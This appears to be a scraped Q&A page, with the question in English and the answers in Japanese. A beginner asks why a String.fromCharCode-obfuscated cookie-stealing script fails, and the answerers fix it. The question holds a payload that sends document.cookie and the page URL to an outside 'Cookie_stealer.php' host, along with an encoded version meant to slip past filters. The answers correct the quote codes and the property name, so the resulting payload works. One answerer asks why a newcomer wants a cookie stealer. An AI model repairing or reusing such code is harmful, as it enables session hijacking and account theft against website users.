1

i am new to javascript and programming at all.

This is orginal code:

document.location = "http://ormteam.net23.net/Cookie_stealer.php?url=" + window.location.href + "&cookies=" + document.cookie;

And this is with string.fromcharcode

document.location = String.fromCharCode(34, 104, 116, 116, 112, 58, 47, 47, 111, 114, 109, 116, 101, 97, 109, 46, 110, 101, 116, 50, 51, 46, 110, 101, 116, 47, 67, 111, 111, 107, 105, 101, 95, 115, 116, 101, 97, 108, 101, 114, 46, 112, 104, 112, 63, 117, 114, 108, 61, 34) + document.url + String.fromCharCode(34, 38, 99, 111, 111, 107, 105, 101, 115, 61, 34) + document.cookies;

Why this does not work ?

Sitting on this peace of code for hours! ;//

4

2 に答える 2

4

引用符は、文字列リテラルにのみ必要です。文字列リテラルを使用していないため、引用符は必要ありません。

document.location = String.fromCharCode(104, 116, 116, 112, ...
于 2013-07-06T22:48:30.380 に答える
2

34それらの文字コードからそのまま削除します"

するdocument.cookies_document.cookie

JavaScript を初めて使用する場合、Cookie スティーラーで何をしているのですか?

于 2013-07-06T22:54:47.850 に答える